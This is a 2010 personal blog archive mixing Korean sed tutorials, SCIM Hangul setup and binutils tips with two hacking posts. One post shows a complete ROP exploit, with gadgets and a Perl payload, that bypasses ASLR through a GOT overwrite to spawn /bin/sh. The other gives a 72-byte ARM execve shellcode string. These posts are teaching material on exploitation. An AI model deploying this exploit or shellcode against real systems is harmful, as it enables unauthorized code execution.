SED 메뉴얼의 2탄!

5.4 SED의 커맨드

앞에서는 (안내서 1편은 여기 클릭) SED의 문법 중에 p, s 와 같은 커맨드를 알아 보았는데요, 그 외에는 d (delete), q (quit) 등의 커맨드가 더 존재합니다. 예제를 보면서 SED의 커맨드를 정리해 보겠습니다.
sed -n '1,10 p' input.txt
p 커맨드는 print (출력) 입니다. 즉, 위의 예제는 1번부터 10번째 라인까지만 프린트 하기입니다. (-n 옵션 때문에 매칭이 되는 1~10 라인 외에는 출력되지 않는다.) 만약 sed '1,10 p' 라고만 한다면, 1~10번째 라인이 출력된 후에 다시 1번부터 끝까지의 모든 라인이 출력됩니다.
sed -n '11,$ !p' input.txt
커맨드 앞에 ! (느낌표)를 붙여서 반대의 기능을 수행하는 경우가 있습니다. 즉 여기서, !p 는 매칭되는 라인에 대해서만 프린트를 하지 않는다 라는 뜻 입니다. 따라서 11번째 줄부터 끝까지에 대해서는 출력하지 않는 것이 되고, 출력하지 않는 다라는 전체 커맨드에 대해 -n 옵션이 붙어서 결국은 1~10번째 줄만 출력하라는 위의 예제와 동일한 결과를 나타내게 됩니다.
sed '11,$ d' input.txt
d 커맨드는 delete (삭제) 입니다. 즉, 위의 예제에서는 11번째 줄부터 끝까지에 대해서 삭제를 한 결과를 출력합니다. 다시 말해 1~10번 줄만을 출력하는 것으로 결국은 앞에서의 예제와 같은 기능입니다.
sed '1,10 !d' input.txt
역시 느낌표를 붙여서 1~10번 줄에 대해 삭제를 하지 않는다라는 것에 대한 결과로, 위의 예제 역시 1~10번 줄만을 출력하는 명령어 입니다. 차이점은 -n 옵션이 없더라도 삭제하지 않는 것에 대한 매칭인 1~10번 줄만 출력한다는 것이죠. 말이 좀 어렵긴 한데, 예를 들면 sed -n '1,10 !d' 는 아무것도 출력하지 않습니다.
sed -e '10,$ p' -e '5 q' input.txt
q는 quit (종료) 입니다. 즉, 간단하게 매칭되는 부분 까지 수행하고 매칭을 종료할 때 사용합니다. 위의 예제는 10번부터 끝까지 라인을 출력한 후에 그 결과에 대해서 앞의 5개의 라인만을 출력하는 예제입니다. '5 q'는 총 5개의 라인을 처리하고 종료하라는 뜻 입니다.
sed '10 r blah' input.txt
r은 read (읽기) 입니다. r 다음에 오는 문자열이 파일명을 나타냅니다. 즉 r blah는 blah 라는 파일을 읽으라는 뜻이고, 위에 예제에서는 input.txt 를 읽어서 출력을 하다가 10번째 라인에 도달하면 blah라는 파일을 읽어서 결과를 출력하게 됩니다. 즉, 최종 결과는 input.txt의 1~10번 라인이 나오고, blah 파일의 내용이 나온 뒤 다시 input.txt의 11번 부터 끝까지의 내용이 출력됩니다.
sed '1,5 w out.txt' input.txt
w는 write (쓰기) 입니다. r과 비슷하게 파일명이 커맨드 다음에 나오고, 매칭된 결과값을 파일에 쓸 수 있습니다. 위의 예제는 input.txt 의 1~5번 라인을 out.txt 에 저장하는 예제 입니다.
sed '1,5 a hello' input.txt


a는 append (덧붙이기) 입니다. a 커맨드 다음의 문자열을 매칭된 패턴 다음에 붙이는 역할을 합니다. 위의 예제에서는 1~5번 라인에 대해 hello라는 문자열 줄을 삽입하는 예제 입니다.
sed '1,5 i hello' input.txt

a가 패턴 다음에 붙이는 역할이라면, i는 패턴 이전에 삽입하는 역할입니다 (insert). 즉 위의 예제는 1~5번 줄에 대하여 hello라는 문자열 줄을 input.txt의 1~5번 각각의 줄의 이전에 삽입하는 역할 입니다.
sed '/abc/ c hello' input.txt

c는 줄 전체를 바꾸는 (change) 커맨드 입니다. 즉 매칭된 패턴이 있는 줄을 c 다음에 오는 문자열로 치환하는 것이죠. 위의 예제에서는 abc라는 패턴이 존재하는 줄에 대하여 그 줄을 hello라는 문자열로 치환합니다.

이밖에 s는 치환 (substitute)을 나타내며, 튜토리얼 1탄에서 자세히 다루었으므로 생략합니다.

5.5 그룹 지정

그룹 지정은 중괄호 {} 를 통해서 합니다. 여러개의 커맨드를 중괄호 사이에 묶어 한방에 처리할 수 있는 강력한 기능입니다. 단 주의할 점은 각 커맨드는 각각 새로운 줄에 위치해야만 한다는 것이죠. 다음의 예제는 1~5번 줄을 읽어서 abc패턴을 삭제하고 빈줄을 삭제한 뒤 해당 라인을 출력하는 예제입니다.
sed -n '1,5 {
    s/abc//
    /^$/ d
    p
    }' input.txt
6. 마치며

sed 문법은 자주 안쓰면 금방 또 잊게 되어서, 이렇게 정리해 보았습니다. 다음엔 awk를 정리해 봐야겠습니다.
2010/06/21 18:40 2010/06/21 18:40
Posted by 차상길.
TAGS ,

This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.

A vulnerable program that I am going to use is a modified version of gera's in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:

  1. #include <string.h>
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4.  
  5. int func(char *msg) {
  6.     char buf[80];
  7.  
  8.     strcpy(buf,msg);
  9.     buf[0] = toupper(buf[0]);
  10.     strcpy(msg,buf);
  11.     printf("Caps: %s\n",msg);
  12.     exit(1);
  13. }
  14.  
  15. int main(int argv, char** argc) {
  16.         func(argc[1]);
  17. }


1. Vulnerability
    There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:

  1. 080484b4 <func>:
  2.  80484b4:       55                      push   %ebp
  3.  80484b5:       89 e5                   mov    %esp,%ebp
  4.  80484b7:       83 ec 58                sub    $0x58,%esp
  5.  80484ba:       8b 45 08                mov    0x8(%ebp),%eax
  6.  80484bd:       89 44 24 04             mov    %eax,0x4(%esp)
  7.  80484c1:       8d 45 b0                lea    -0x50(%ebp),%eax
  8.  80484c4:       89 04 24                mov    %eax,(%esp)
  9.  80484c7:       e8 04 ff ff ff          call   80483d0 <strcpy@plt>
  10.  80484cc:       0f b6 45 b0             movzbl -0x50(%ebp),%eax
  11.  80484d0:       0f be c0                movsbl %al,%eax
  12.  80484d3:       89 04 24                mov    %eax,(%esp)
  13.  80484d6:       e8 d5 fe ff ff          call   80483b0 <toupper@plt>
  14.  80484db:       88 45 b0                mov    %al,-0x50(%ebp)
  15.  80484de:       8d 45 b0                lea    -0x50(%ebp),%eax
  16.  80484e1:       89 44 24 04             mov    %eax,0x4(%esp)
  17.  80484e5:       8b 45 08                mov    0x8(%ebp),%eax
  18.  80484e8:       89 04 24                mov    %eax,(%esp)
  19.  80484eb:       e8 e0 fe ff ff          call   80483d0 <strcpy@plt>
  20.  80484f0:       8b 45 08                mov    0x8(%ebp),%eax
  21.  80484f3:       89 44 24 04             mov    %eax,0x4(%esp)
  22.  80484f7:       c7 04 24 00 86 04 08    movl   $0x8048600,(%esp)
  23.  80484fe:       e8 dd fe ff ff          call   80483e0 <printf@plt>
  24.  8048503:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
  25.  804850a:       e8 e1 fe ff ff          call   80483f0 <exit@plt>
  26.  
  27. 0804850f <main>:
  28.  804850f:       8d 4c 24 04             lea    0x4(%esp),%ecx
  29.  8048513:       83 e4 f0                and    $0xfffffff0,%esp
  30.  8048516:       ff 71 fc                pushl  -0x4(%ecx)
  31.  8048519:       55                      push   %ebp
  32.  804851a:       89 e5                   mov    %esp,%ebp
  33.  804851c:       51                      push   %ecx
  34.  804851d:       83 ec 14                sub    $0x14,%esp
  35.  8048520:       8b 41 04                mov    0x4(%ecx),%eax
  36.  8048523:       83 c0 04                add    $0x4,%eax
  37.  8048526:       8b 00                   mov    (%eax),%eax
  38.  8048528:       89 04 24                mov    %eax,(%esp)
  39.  804852b:       e8 84 ff ff ff          call   80484b4 <func>
  40.  8048530:       83 c4 14                add    $0x14,%esp
  41.  8048533:       59                      pop    %ecx
  42.  8048534:       5d                      pop    %ebp
  43.  8048535:       8d 61 fc                lea    -0x4(%ecx),%esp
  44.  8048538:       c3                      ret

2. Observation and Strategy
    We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized.

    Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section's addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.

   The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc's strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to "/bin/sh" string, 5) jump to the system function using indirect call (call *%eax).

3. Gadgets

    We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.

    1)
  1. 0x80485a2 <__libc_csu_init+82>: add    $0xc,%esp
  2. 0x80485a5 <__libc_csu_init+85>: pop    %ebx
  3. 0x80485a6 <__libc_csu_init+86>: pop    %esi
  4. 0x80485a7 <__libc_csu_init+87>: pop    %edi
  5. 0x80485a8 <__libc_csu_init+88>: pop    %ebp
  6. 0x80485a9 <__libc_csu_init+89>: ret

    2)
  1. 0x804838c <_init+44>:   pop    %eax
  2. 0x804838d <_init+45>:   pop    %ebx
  3. 0x804838e <_init+46>:   leave  
  4. 0x804838f <_init+47>:   ret

    3)
  1. 0x80485ce <__do_global_ctors_aux+30>:   add    0xf475fff8(%ebx),%eax
  2. 0x80485d4 <__do_global_ctors_aux+36>:   add    $0x4,%esp
  3. 0x80485d7 <__do_global_ctors_aux+39>:   pop    %ebx
  4. 0x80485d8 <__do_global_ctors_aux+40>:   pop    %ebp
  5. 0x80485d9 <__do_global_ctors_aux+41>:   ret

    4)
  1. 0x80484af <frame_dummy+31>:     call   *%eax

4. Final Exploit
     Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:
    1) It dynamically retrieves system function's address from the GOT
    2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.
    3) Set up the stack address to have enough space for system call.

   First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function's address. The result of the "add 0xf475fff8(%ebx), %eax" instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy's GOT entry, so the strcpy's address in libc is added with the value in eax register.

    Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.

    The final exploit in perl is shown below:

  1. print "\xa2\x85\x04\x08" . # First Gadget
  2. "AAAAAAAA" . # dummy
  3. "\xe8\xa2\x04\x08" . # set ebp, poing to line 9 of this exploit string
  4. "\x8c\x83\x04\x08" . # Second gadget
  5. "\xc0\x52\xfc\xff" ."\x14\xa0\x8e\x13AAAA" . "/bin/sh;"  . "A"x48 .
  6. "\x10\xa0\x04\x08" . # GOT entry address of printf
  7. "\x30\xa0\x04\x08"x0xa0 . # dummy
  8. "\xce\x85\x04\x08" .
  9. "\x30\xa0\x04\x08"x0x2 . # dummy
  10. "\x30\xa0\x04\x08" . # dummy ebp
  11. "\xaf\x84\x04\x08" . # call *%eax
  12. "\x30\xa0\x04\x08";

I also attach the binary file for people who are interested. :)
(Download)

5. Conclusion
    There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.
2010/05/05 22:06 2010/05/05 22:06
Posted by 차상길.

SED (stream editor) 에 대해서 간단한 튜토리얼을 만들고자 합니다.

0. 이 안내서의 대상
나 자신, 그리고 리눅스, 정규식에 대해서 약간의 지식은 있는 분들!

1. SED란?

리눅스에서 화면에 출력되는 문자열이나, 파일 입출력은 모두 스트림으로 이루어지는데요, 그때의 스트림을 파이프로 입력받아 실시간으로 수정하기 위한 툴이 바로 sed 입니다. 예를 들면, "1,2,3,4,5" 라는 문자열이 들어있는 파일 foo.txt 를 생각해 봅시다. 여기서 cat foo.txt 를 하면 문자열이 그대로 출력되지요. 그런데 여기서 원본 파일은 그대로 둔 상태에서 출력되는 문자열을 "1:2:3:4:5" 바꾸고 싶다면 어떻게 해야할까요? 이럴 때 바로 sed를 쓰게 됩니다.

요즘에는 강력한 스크립트 언어 (ruby, perl, python) 들 때문에 사용을 점점 하지 않고 있지만, 간단한 작업에는 아직도 매우 유용한 툴 입니다. 특히 텍스트 데이터를 가지고 간단한 처리를 할 때 스크립트를 짜서 돌리는 것보다는 한 줄로 된 커맨드 라인으로 해결하는게 훨씬 빠르지요. :D

2. 기본 명령어
sed "sed command" input.txt
위의 명령어는 stdout으로 input.txt 파일을 처리한 결과를 뿌려줍니다.
다음의 두 가지 방법은 형태는 다르지만 동일한 기능을 하는 커맨드 입니다.
sed "sed command" < input.txt
cat input.txt | sed "sed command"
<노트> 이렇게 기본 명령어만 사용하게 되면 BRE라 불리는 Baisc Regular Expression 만을 지원하게 됩니다. Modern Regular Expression (혹은 Extended Regular Expression) 에 익숙한 사람들은 "-E" 옵션을 붙여주면 더욱 편하게 사용할 수 있습니다. 즉, sed -E "regex" <inputfile> 과 같이 사용하면 됩니다.

3. 치환 (substitution)

가장 많이 쓰는 명령어가 바로 치환 입니다. 정규표현식과 동일한 문법을 가지고 있습니다.
e.g.) ABC 를 DEF로 치환
sed /ABC/DEF/s input.txt
여기서 슬래쉬(/) 기호는 delimiter 를 나타내고, s는 치환 명령을 나타냅니다.
만약 delimiter를 바꾸고 싶다면 커맨드 s를 앞으로 빼내는 방법이 있습니다. 즉, 콜론(:)을 delimiter로 바꾸는 경우:
sed "s:ABC:DEF:" input.txt
와 같이 나타낼 수 있습니다. 이렇게 명령어 형태가 다른 이유는 다음과 같습니다. 즉, 슬래쉬가 delimiter일 경우에 패턴에 슬래쉬를 나타내기 위해서는 \/ 와 같이 나타내야 하지만, delimiter를 바꾸게 되면 백슬래쉬 인코딩을 하지 않고도 처리가 가능하기 때문이죠.

4. 삽입

찾은 패턴에 문자를 더하고자 하는 경우에 & 기호를 쓰게 됩니다. 즉 a 또는 b를 찾아서 (a) 또는 (b)로 만들고 싶다고 치면 다음과 같이 하면 됩니다.
sed "s/[ab]/\(&\)/" input.txt
때로는 \1, \2 와 같은 매칭된 부분을 따로 지정할 수 도 있습니다. 이 때 주의할 점은, 항상 백슬래쉬를 괄호 앞에 붙여주어야만 정상 작동한다는 사실이지요. 예를 들어, "영어-숫자" 쌍이 있을 때 "숫자-영어"로 바꿔주고 싶다면 어떻게 할까요? 입력 데이터가 다음과 같이 주어졌다고 합시다.
abc 123
blah 447
zdf 987
위의 입력으로부터 우리가 원하는 출력값을 얻기 위해서는 다음과 같이 합니다.
 sed "s/\([a-z][a-z]*\) \([0-9][0-9]*\)/\2 \1/" input.txt
5. 고급 기능들
위에서는 기본적인 Regular Expression과는 다를 게 없었습니다. 이제부터 SED만의 강력한 기능들에 대해서 하나씩 알아봅시다.

5.1. 매칭된 라인만 프린트 하기

먼저 "-n" 옵션에 대해서 알아보겠습니다.
이 옵션은 출력을 하지 말라는 (no print) 의미를 가지고 있습니다. 그런데 만약 우리가 매칭 정규식의 마지막 부분에 p옵션을 주게 되면 얘기가 달라집니다. 즉, 매칭된 라인만을 출력하라는 뜻이 되죠. 예를 들면 다음과 같습니다.
sed -n "s/pattern/&/p" input.txt
위의 명령은 우리가 흔히 쓰는 grep 과 동일한 명령이라고 볼 수 있습니다. 왜냐하면 &는 매칭된 패턴을 그대로 리턴하고, 마지막에 쓰인 p 때문에 매칭된 라인만 출력이 되고 매칭되지 않은 라인은 -n 옵션에 의해 출력이 되지 않기 때문이죠.

그렇다면 반대의 경우는 어떻게 할까요? 매칭되지 않은 라인만 프린트 하기:
sed -n "s/pattern/&/!p" input.txt


5.2. 여러개의 Regular Expression 동시에 연동시키기

여러개의 규칙을 동시에 사용하는 것도 가능합니다. 이 때는 파이프를 통해 sed 자체를 두번 쓰는 방법도 있지만 한방에 해결하는 방법을 소개하도록 하겠습니다. 즉, "-e"옵션을 쓰는 방법인데요. 다음의 예제를 보면,
sed -e "s/a/A/" -e "s/b/B" input.txt
-e 옵션 뒤에 규칙을 하나씩 써서 두 개의 정규식을 동시에 사용한 것을 볼 수 있습니다. 위의 명령은 소문자 a를 대문자로, 또한 b를 대문자로 바꾸어 출력을 합니다.

5.3. 영역 지정하기

sed가 유용한 가장 큰 이유 중의 하나인 영역 지정하기 입니다. 지금까지 배운 명령은 치환, 삭제 등에 불과했지만, 실제로는 이것을 특정 라인, 텍스트상의 특정 영역에만 지정해서 실행하고 싶은 경우가 더 많다는 것이죠. 그래서 이 섹션에서는 영역 지정을 하는 법을 정리해 보았습니다.

(1) 라인 지정
a를 A로 치환할 때 이것을 입력 상의 10번째 라인에 적용하고자 할 때: 가장 앞에 라인 번호를 붙여줍니다.
sed "3 s/a/A/" input.txt
100번에서 200번 라인만 a를 A로 치환하고자 할 때:
sed "100,200 s/a/A/" input.txt
100번라인부터 마지막 라인까지 a를 A로 치환하고자 할 때:
sed "100,$ s/a/A/" input.txt
(2) 패턴에 대한 영역 지정
#으로 시작하는 문자열에 대해서만 a를 A로 치환하고자 할 때:
sed "/^#/ s/a/A/" input.txt
X라는 패턴부터 Y라는 패턴 사이에서 #으로 시작하는 모든 라인을 삭제:
sed "/X/,/Y/ s/^#.*//" input.txt
위의 예제는 아주 유용할 때가 많은데요, X가 나타난 이후부터 치환 명령이 적용되다가... 다시 Y가 나타난 이후로는 치환이 중단되는 것이라고 생각하면 됩니다.

5.4 그룹 지정, 리드, 라이트 에 대해서는 다음에...
2010/02/10 18:18 2010/02/10 18:18
Posted by 차상길.
TAGS ,

Arm Shellcode

2010/01/26 00:21 / Hacking
It is hard to find a very simple ARM shellcode. So I decided to make my own ARM shellcode.

ARM is becoming more and more popular architecture as the number of smart phones and 'net books' are expanding. Don't forget! iPhone and Nokia tablets are also running on ARM. :D

So what is the most important thing to consider to generate ARM shellcode?

First, the linux system call in ARM is little bit different from the x86 system call. Namely, the system call number is stored in r7 register instead of r0 register. (eax register can be considered as r0 in ARM). Thus, the arguments are stored in r0, r1, ... in turn.

Second, we need some trick to load 32bit immediate value into a memory address in ARM. Here, I am using four sequential arm instructions to push 32bit immediate into stack. Note that the exclamation mark in ARM assembly code means that the index operation is performed before applying the real instruction. For example, str r2, [r3, #-4]!  means: store r2 value to the ptr {r3-4} and r3 = r3 -4.

With the above facts in mind, I will present my own ARM shellcode here !!
This is just a simple example, and it contains null characters. So not applicable in most of the real cases. :)

 (ARM shellcode, execute /bin/sh and call exit) (72 byte)  
 // by funkyG  
 "\x00\x00\x20\xe0\x01\x10\x21\xe0\x02\x20\x22\xe0\x04\x20\x2d\xe5\x00\xc0\x9f\xe5\x00\x00\x00\xea\x2f\x2f\x73\x68\x04\xc0\x2d\xe5\x00\xc0\x9f\xe5\x00\x00\x00\xea\x2f\x62\x69\x6e\x04\xc0\x2d\xe5\x0d\x00\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef"  
2010/01/26 00:21 2010/01/26 00:21
Posted by 차상길.

Here, I present an example for Hangul (Korean).

First, run this command. :D

sudo aptitude install scim scim-hangul scim-tables-ko

You can easily do this for other languages by changing from hangul to other lnguages. For instance, you can install scim-chinese scim-tables-zh, to use Chinese.

Second, put the following three lines in $HOME/.xinitrc or $HOME/.xsession.

export XMODIFIERS=@im=SCIM
export GTK_IM_MODULE="scim"
export QT_IM_MODULE="scim"
2010/01/19 21:20 2010/01/19 21:20
Posted by 차상길.
TAGS , ,

In genral, the objdump only supports x86, or your machine's native architecture. The easiest way to objdump different architecture's binary is to use binutils.

Binutils contain many popular programs including readelf, objcopy, and objdump. The only thing you need to do is enable different targets when you compile the binutils. Currently, latest stable version of binutils is 2.20.

So, how do we actually enable various targets? The answer is "--enable-targets" option. The simplest way is "--enable-targets=all", which will compile all possible architectures including ARM, MIPS, PowerPC, and so forth. However, this will generate more than 1 GB of object files inside your source code directory!

So, choose your favorite architectures, and use comma to separate them.

For example, if you want to enable ARM and MIPS for your objdump, use the following command.
./configure --enable-targets=arm-elf,mips

After make, and make install, you will be able to see a different message (objdump --help) from your objdump. Your objdump will show several possible targets for ARM and MIPS.

You can also use pe-i386 target to objdump PE files in your linux box. :D
2010/01/19 21:14 2010/01/19 21:14
Posted by 차상길.
TAGS ,